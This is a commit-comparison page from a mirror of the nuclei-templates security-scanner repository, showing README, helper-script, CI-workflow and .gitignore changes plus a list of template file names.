mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-07 08:36:19 -10:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a0fd48aab8 | ||
|
|
7593a6ff73 |
No files matched your search
@@ -14,11 +14,11 @@ Nuclei Templates
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
|
||||
<a href="#-contributions">Contributions</a> •
|
||||
<a href="#-discussion">Discussion</a> •
|
||||
<a href="#-community">Community</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -36,21 +36,7 @@ An overview of the nuclei template project, including statistics on unique tags,
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
|
||||
|
||||
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
|
||||
|
||||
| **KEV Source** | **Templates** | **Description** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
|
||||
| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
|
||||
|
||||
> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -20,11 +20,11 @@ Nuclei 模板
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
|
||||
<a href="#-贡献">贡献</a> •
|
||||
<a href="#-交流">交流</a> •
|
||||
<a href="#-社区">社区</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -42,21 +42,7 @@ Nuclei 模板
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
|
||||
|
||||
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
|
||||
|
||||
| **KEV 来源** | **模板数量** | **描述** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
|
||||
| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
|
||||
|
||||
> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -11,11 +11,11 @@ Nuclei テンプレート
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
|
||||
<a href="#-contributions">貢献</a> •
|
||||
<a href="#-discussion">ディスカッション</a> •
|
||||
<a href="#-community">コミュニティ</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
|
||||
</p>
|
||||
|
||||
@@ -37,21 +37,7 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
|
||||
|
||||
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
|
||||
|
||||
| **KEV ソース** | **テンプレート数** | **説明** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
|
||||
| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
|
||||
|
||||
> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -14,11 +14,11 @@ Nuclei 템플릿
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
|
||||
<a href="#-contributions">기여</a> •
|
||||
<a href="#-discussion">논의</a> •
|
||||
<a href="#-community">커뮤니티</a> •
|
||||
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">디스코드</a>
|
||||
</p>
|
||||
|
||||
@@ -39,21 +39,7 @@ Nuclei 템플릿
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
|
||||
|
||||
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
|
||||
|
||||
| **KEV 소스** | **템플릿 수** | **설명** |
|
||||
|----------------|---------------|-----------------|
|
||||
| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
|
||||
| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
|
||||
| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
|
||||
|
||||
> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
|
||||
|
||||
---
|
||||
<td>
|
||||
|
||||
{get_top10()}
|
||||
|
||||
|
||||
@@ -1,119 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Count KEV and vKEV templates for README statistics
|
||||
|
||||
This script counts the number of templates with 'kev' and 'vkev' tags
|
||||
and outputs the statistics in a format suitable for the README.
|
||||
"""
|
||||
|
||||
import re
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Dict, Set
|
||||
|
||||
|
||||
def has_tag_in_file(file_path: Path, tag: str) -> bool:
|
||||
"""Check if a template file has a specific tag."""
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# Look for tags field and check if tag is present
|
||||
tags_match = re.search(r'tags:\s*([^\n]+)', content)
|
||||
if tags_match:
|
||||
tags_str = tags_match.group(1)
|
||||
# Check for tag as a standalone tag (not part of another word)
|
||||
if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Error reading {file_path}: {e}", file=sys.stderr)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def count_kev_templates(root_dir: str) -> Dict[str, int]:
|
||||
"""Count templates with KEV and vKEV tags."""
|
||||
root_path = Path(root_dir)
|
||||
|
||||
# Find all YAML template files
|
||||
patterns = [
|
||||
"**/*.yaml",
|
||||
"**/*.yml"
|
||||
]
|
||||
|
||||
all_files = set()
|
||||
for pattern in patterns:
|
||||
all_files.update(root_path.glob(pattern))
|
||||
|
||||
# Filter out non-template files
|
||||
template_files = [
|
||||
f for f in all_files
|
||||
if '/workflows/' not in str(f)
|
||||
and '/.github/' not in str(f)
|
||||
and '/profiles/' not in str(f)
|
||||
]
|
||||
|
||||
kev_count = 0
|
||||
vkev_count = 0
|
||||
both_count = 0
|
||||
kev_only_count = 0
|
||||
vkev_only_count = 0
|
||||
|
||||
kev_files = set()
|
||||
vkev_files = set()
|
||||
|
||||
for template_file in template_files:
|
||||
has_kev = has_tag_in_file(template_file, 'kev')
|
||||
has_vkev = has_tag_in_file(template_file, 'vkev')
|
||||
|
||||
if has_kev:
|
||||
kev_count += 1
|
||||
kev_files.add(template_file)
|
||||
|
||||
if has_vkev:
|
||||
vkev_count += 1
|
||||
vkev_files.add(template_file)
|
||||
|
||||
if has_kev and has_vkev:
|
||||
both_count += 1
|
||||
elif has_kev:
|
||||
kev_only_count += 1
|
||||
elif has_vkev:
|
||||
vkev_only_count += 1
|
||||
|
||||
return {
|
||||
'kev_total': kev_count,
|
||||
'vkev_total': vkev_count,
|
||||
'both': both_count,
|
||||
'kev_only': kev_only_count,
|
||||
'vkev_only': vkev_only_count,
|
||||
'total_templates': len(template_files)
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
"""Main entry point."""
|
||||
root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
|
||||
|
||||
stats = count_kev_templates(root_dir)
|
||||
|
||||
# Output in a format that can be easily parsed
|
||||
print(f"KEV_TOTAL={stats['kev_total']}")
|
||||
print(f"VKEV_TOTAL={stats['vkev_total']}")
|
||||
print(f"BOTH={stats['both']}")
|
||||
print(f"KEV_ONLY={stats['kev_only']}")
|
||||
print(f"VKEV_ONLY={stats['vkev_only']}")
|
||||
print(f"TOTAL_TEMPLATES={stats['total_templates']}")
|
||||
|
||||
# Also print human-readable summary to stderr for logging
|
||||
print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
|
||||
print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
|
||||
print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
|
||||
print(f"Templates in both: {stats['both']}", file=sys.stderr)
|
||||
print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
|
||||
print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
|
||||
print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,119 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE Template Field Enhancement Script
|
||||
Adds missing impact and remediation fields from ProjectDiscovery API
|
||||
"""
|
||||
|
||||
import re
|
||||
import sys
|
||||
import requests
|
||||
from pathlib import Path
|
||||
|
||||
API_URL = "https://api.projectdiscovery.io/v2/vulnerability"
|
||||
|
||||
def check_missing_fields(content):
|
||||
"""Check if impact or remediation fields are missing."""
|
||||
has_impact = bool(re.search(r'^\s{2}impact:', content, re.MULTILINE))
|
||||
has_remediation = bool(re.search(r'^\s{2}remediation:', content, re.MULTILINE))
|
||||
return (not has_impact, not has_remediation)
|
||||
|
||||
def extract_cve_id(content):
|
||||
"""Extract CVE ID from template."""
|
||||
match = re.search(r'^id:\s*(CVE-\d{4}-\d+)', content, re.MULTILINE)
|
||||
return match.group(1) if match else None
|
||||
|
||||
def fetch_from_api(cve_id):
|
||||
"""Fetch impact and remediation from ProjectDiscovery API."""
|
||||
try:
|
||||
response = requests.get(f"{API_URL}/{cve_id}", timeout=10)
|
||||
if response.status_code == 200:
|
||||
data = response.json().get('data', {})
|
||||
return data.get('impact'), data.get('remediation')
|
||||
except:
|
||||
pass
|
||||
return None, None
|
||||
|
||||
def add_fields(content, impact, remediation, needs_impact, needs_remediation):
|
||||
"""Add impact and remediation fields after description."""
|
||||
lines = content.split('\n')
|
||||
result = []
|
||||
i = 0
|
||||
|
||||
while i < len(lines):
|
||||
line = lines[i]
|
||||
result.append(line)
|
||||
|
||||
# Found description field
|
||||
if re.match(r'^\s{2}description:', line):
|
||||
i += 1
|
||||
# Copy all description content (lines starting with 4+ spaces or |)
|
||||
while i < len(lines):
|
||||
if lines[i].strip() == '' or lines[i].startswith(' ') or lines[i].strip() == '|':
|
||||
result.append(lines[i])
|
||||
i += 1
|
||||
else:
|
||||
# End of description block - add new fields here
|
||||
if needs_impact and impact:
|
||||
result.append(' impact: |')
|
||||
result.append(f' {impact}')
|
||||
if needs_remediation and remediation:
|
||||
result.append(' remediation: |')
|
||||
result.append(f' {remediation}')
|
||||
break
|
||||
continue
|
||||
|
||||
i += 1
|
||||
|
||||
return '\n'.join(result)
|
||||
|
||||
def enhance_file(file_path):
|
||||
"""Enhance a single CVE template file."""
|
||||
try:
|
||||
content = file_path.read_text()
|
||||
|
||||
# Check what's missing
|
||||
needs_impact, needs_remediation = check_missing_fields(content)
|
||||
if not needs_impact and not needs_remediation:
|
||||
print(f"✓ {file_path.name} - already complete")
|
||||
return False
|
||||
|
||||
# Get CVE ID
|
||||
cve_id = extract_cve_id(content)
|
||||
if not cve_id:
|
||||
print(f"✗ {file_path.name} - no CVE ID found")
|
||||
return False
|
||||
|
||||
# Fetch from API
|
||||
impact, remediation = fetch_from_api(cve_id)
|
||||
if not impact and not remediation:
|
||||
print(f"⚠ {cve_id} - not found in API")
|
||||
return False
|
||||
|
||||
# Add fields
|
||||
enhanced = add_fields(content, impact, remediation, needs_impact, needs_remediation)
|
||||
file_path.write_text(enhanced)
|
||||
|
||||
print(f"✓ {cve_id} - enhanced")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ {file_path.name} - error: {e}")
|
||||
return False
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: python enhance-cve-fields.py <file1> [file2] ...")
|
||||
sys.exit(1)
|
||||
|
||||
enhanced = 0
|
||||
for file_arg in sys.argv[1:]:
|
||||
file_path = Path(file_arg)
|
||||
if file_path.exists():
|
||||
if enhance_file(file_path):
|
||||
enhanced += 1
|
||||
|
||||
print(f"\nEnhanced {enhanced} file(s)")
|
||||
sys.exit(0)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -1,7 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
import glob
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
def countTpl(path):
|
||||
return len(glob.glob(path + "/*.*"))
|
||||
@@ -14,38 +13,8 @@ def get_top10():
|
||||
TOP10 = command(["cat", "TOP-10.md"])
|
||||
return HEADER + TOP10 if len(TOP10) > 0 else ""
|
||||
|
||||
def get_kev_stats():
|
||||
"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["python3", ".github/scripts/count-kev-stats.py"],
|
||||
text=True,
|
||||
capture_output=True,
|
||||
timeout=120
|
||||
)
|
||||
|
||||
# Parse the output
|
||||
stats = {}
|
||||
for line in result.stdout.strip().split('\n'):
|
||||
if '=' in line:
|
||||
key, value = line.split('=')
|
||||
stats[key.lower()] = int(value)
|
||||
|
||||
return stats
|
||||
except Exception as e:
|
||||
print(f"Error getting KEV stats: {e}")
|
||||
return {
|
||||
'kev_total': 0,
|
||||
'vkev_total': 0,
|
||||
'both': 0,
|
||||
'kev_only': 0,
|
||||
'vkev_only': 0,
|
||||
'total_templates': 0
|
||||
}
|
||||
|
||||
if __name__ == "__main__":
|
||||
version = command(["git", "describe", "--tags", "--abbrev=0"])
|
||||
kev_stats = get_kev_stats()
|
||||
template = eval(open(".github/scripts/README.tmpl", "r").read())
|
||||
|
||||
print(template)
|
||||
|
||||
@@ -29,7 +29,7 @@ jobs:
|
||||
// ======= CONFIG: put your user pools here =======
|
||||
// Usernames must be GitHub logins and collaborators on this repo.
|
||||
const ISSUE_ASSIGNEES = [
|
||||
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
|
||||
"princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
|
||||
];
|
||||
const REVIEW_POOL = [
|
||||
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
|
||||
|
||||
@@ -1,62 +0,0 @@
|
||||
name: 🔧 CVE Enhancement
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
paths:
|
||||
- '**/cves/**/*.yaml'
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
enhance:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: '3.11'
|
||||
|
||||
- name: Install dependencies
|
||||
run: pip install requests
|
||||
|
||||
- name: Get changed CVE files
|
||||
id: files
|
||||
run: |
|
||||
# Get files changed in the last commit
|
||||
FILES=$(git diff --name-only HEAD~1 HEAD | grep 'cves/.*\.yaml$' || echo "")
|
||||
if [ -n "$FILES" ]; then
|
||||
echo "changed=true" >> $GITHUB_OUTPUT
|
||||
echo "$FILES" > /tmp/cve_files.txt
|
||||
echo "Changed CVE files:"
|
||||
cat /tmp/cve_files.txt
|
||||
else
|
||||
echo "changed=false" >> $GITHUB_OUTPUT
|
||||
fi
|
||||
|
||||
- name: Enhance CVE templates
|
||||
if: steps.files.outputs.changed == 'true'
|
||||
run: |
|
||||
while read file; do
|
||||
[ -f "$file" ] && python .github/scripts/enhance-cve-fields.py "$file"
|
||||
done < /tmp/cve_files.txt
|
||||
|
||||
- name: Commit changes
|
||||
if: steps.files.outputs.changed == 'true'
|
||||
run: |
|
||||
if ! git diff --quiet; then
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
git add -A
|
||||
git commit -m "chore: add impact and remediation fields 🤖"
|
||||
git pull origin $GITHUB_REF --rebase
|
||||
git push origin $GITHUB_REF
|
||||
fi
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
with:
|
||||
go-version: 'stable'
|
||||
|
||||
@@ -12,7 +12,7 @@ jobs:
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v7
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
@@ -12,7 +12,7 @@ jobs:
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v7
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
@@ -18,7 +18,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- name: Generate new addition list
|
||||
|
||||
@@ -2,7 +2,7 @@ name: 📝 Readme Update
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
|
||||
workflows: ["🗒 Templates Stats"]
|
||||
types:
|
||||
- completed
|
||||
workflow_dispatch:
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- run: sudo apt-get install tree -y
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: "3.8"
|
||||
|
||||
@@ -1,21 +1,11 @@
|
||||
name: 📝 Template Checksum
|
||||
|
||||
on:
|
||||
# For YAML changes: wait for signing to complete first, then checksum
|
||||
workflow_run:
|
||||
workflows:
|
||||
- "☑️ Template Sign"
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
# For non-YAML changes: trigger directly (signing doesn't run for these)
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
paths-ignore:
|
||||
paths:
|
||||
- '**.yaml'
|
||||
- 'templates-checksum.txt'
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
@@ -24,14 +14,9 @@ env:
|
||||
jobs:
|
||||
checksum:
|
||||
runs-on: ubuntu-latest
|
||||
if: >
|
||||
github.repository == 'projectdiscovery/nuclei-templates' && (
|
||||
github.event_name == 'workflow_dispatch' ||
|
||||
github.event_name == 'push' ||
|
||||
github.event.workflow_run.conclusion == 'success'
|
||||
)
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/generate/checksum@v1
|
||||
with:
|
||||
templates-directory: '${{ github.workspace }}'
|
||||
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/nuclei-action@v3
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/nuclei@v1
|
||||
with:
|
||||
install-only: true
|
||||
token: '${{ secrets.GITHUB_TOKEN}}'
|
||||
- run: nuclei -lfa -duc -sign -ud $GITHUB_WORKSPACE -t .
|
||||
env:
|
||||
NUCLEI_USER_CERTIFICATE: ${{ secrets.NUCLEI_USER_CERTIFICATE }}
|
||||
@@ -38,11 +38,18 @@ jobs:
|
||||
runs-on: windows-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
|
||||
- uses: projectdiscovery/nuclei-action@v3
|
||||
- uses: actions/checkout@v5
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
install-only: true
|
||||
go-version: '1.24'
|
||||
|
||||
- name: Install Nuclei
|
||||
run: |
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
nuclei -version
|
||||
shell: bash
|
||||
|
||||
- name: Sign Windows Templates
|
||||
run: nuclei -lfa -duc -sign -ud "${{ github.workspace }}" -t "code/windows/audit"
|
||||
|
||||
@@ -8,7 +8,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/templateman@v1
|
||||
with:
|
||||
token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'
|
||||
|
||||
@@ -11,7 +11,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: projectdiscovery/actions/templates/stats@v1
|
||||
|
||||
@@ -11,7 +11,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: actions/checkout@v5
|
||||
- uses: karancode/[email protected]
|
||||
with:
|
||||
yamllint_config_filepath: .yamllint
|
||||
@@ -23,10 +23,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/nuclei-action@v3
|
||||
- uses: actions/checkout@v5
|
||||
- uses: projectdiscovery/actions/setup/nuclei@v1
|
||||
with:
|
||||
install-only: true
|
||||
token: '${{ secrets.GITHUB_TOKEN }}'
|
||||
- name: Validate templates
|
||||
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
|
||||
|
||||
@@ -40,8 +40,8 @@ jobs:
|
||||
env:
|
||||
HONEYPOT_URL: 'http://honey.scanme.sh'
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: dorny/paths-filter@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: dorny/paths-filter@v3
|
||||
id: filter
|
||||
with:
|
||||
list-files: shell
|
||||
@@ -52,9 +52,9 @@ jobs:
|
||||
- '!.github/**'
|
||||
changed:
|
||||
- added|modified: *templates
|
||||
- uses: projectdiscovery/nuclei-action@v3
|
||||
- uses: projectdiscovery/actions/setup/nuclei@v1
|
||||
with:
|
||||
install-only: true
|
||||
token: '${{ secrets.GITHUB_TOKEN }}'
|
||||
- run: bash weak-matcher-checks.sh
|
||||
id: check
|
||||
if: steps.filter.outputs.changed == 'true'
|
||||
|
||||
@@ -10,7 +10,7 @@ jobs:
|
||||
if: github.repository == 'projectdiscovery/nuclei-templates'
|
||||
steps:
|
||||
- name: Check out repository code
|
||||
uses: actions/checkout@v7
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Install Python3
|
||||
uses: actions/setup-python@v6
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
.idea/
|
||||
.DS_Store
|
||||
local/
|
||||
.checksum
|
||||
.new-additions
|
||||
*.txt
|
||||
/.claude
|
||||
CLAUDE.md
|
||||
+54
-74
@@ -1,74 +1,54 @@
|
||||
dns/dns-internal-ip-disclosure.yaml
|
||||
http/cves/2026/CVE-2026-10823.yaml
|
||||
http/cves/2026/CVE-2026-13731.yaml
|
||||
http/cves/2026/CVE-2026-1890.yaml
|
||||
http/cves/2026/CVE-2026-22778.yaml
|
||||
http/cves/2026/CVE-2026-24207.yaml
|
||||
http/cves/2026/CVE-2026-28496.yaml
|
||||
http/cves/2026/CVE-2026-30958.yaml
|
||||
http/cves/2026/CVE-2026-3326.yaml
|
||||
http/cves/2026/CVE-2026-34413.yaml
|
||||
http/cves/2026/CVE-2026-46339.yaml
|
||||
http/cves/2026/CVE-2026-48282.yaml
|
||||
http/cves/2026/CVE-2026-48313.yaml
|
||||
http/cves/2026/CVE-2026-48611.yaml
|
||||
http/cves/2026/CVE-2026-50229.yaml
|
||||
http/cves/2026/CVE-2026-52774.yaml
|
||||
http/cves/2026/CVE-2026-52815.yaml
|
||||
http/cves/2026/CVE-2026-56782.yaml
|
||||
http/cves/2026/CVE-2026-59801.yaml
|
||||
http/cves/2026/CVE-2026-8037.yaml
|
||||
http/cves/2026/CVE-2026-8383.yaml
|
||||
http/cves/2026/CVE-2026-8386.yaml
|
||||
http/cves/2026/cve-2026-44381.yaml
|
||||
http/default-logins/dahua/dahua-icc-default-login.yaml
|
||||
http/exposed-panels/array-networks-ssl-vpn-panel.yaml
|
||||
http/exposed-panels/aruba-via-vpn-panel.yaml
|
||||
http/exposed-panels/cradlepoint-gateway-panel.yaml
|
||||
http/exposed-panels/ctrlpanel-panel.yaml
|
||||
http/exposed-panels/cyberoam-firewall-panel.yaml
|
||||
http/exposed-panels/ddwrt-panel.yaml
|
||||
http/exposed-panels/ecessa-panel.yaml
|
||||
http/exposed-panels/elfiq-panel.yaml
|
||||
http/exposed-panels/endian-firewall-panel.yaml
|
||||
http/exposed-panels/featherpanel-panel.yaml
|
||||
http/exposed-panels/firemon-asset-manager-panel.yaml
|
||||
http/exposed-panels/fortinet-fortianalyzer-panel.yaml
|
||||
http/exposed-panels/headscale-panel.yaml
|
||||
http/exposed-panels/hillstone-ssl-vpn-panel.yaml
|
||||
http/exposed-panels/jotty-page-login-panel.yaml
|
||||
http/exposed-panels/kestra-panel.yaml
|
||||
http/exposed-panels/maxkb-panel.yaml
|
||||
http/exposed-panels/netgate-pfsenseplus-panel.yaml
|
||||
http/exposed-panels/netsweeper-webadmin-panel.yaml
|
||||
http/exposed-panels/nuage-networks-vsp-panel.yaml
|
||||
http/exposed-panels/ocserv-panel.yaml
|
||||
http/exposed-panels/peplink-incontrol-panel.yaml
|
||||
http/exposed-panels/qualys-cloud-platform-login.yaml
|
||||
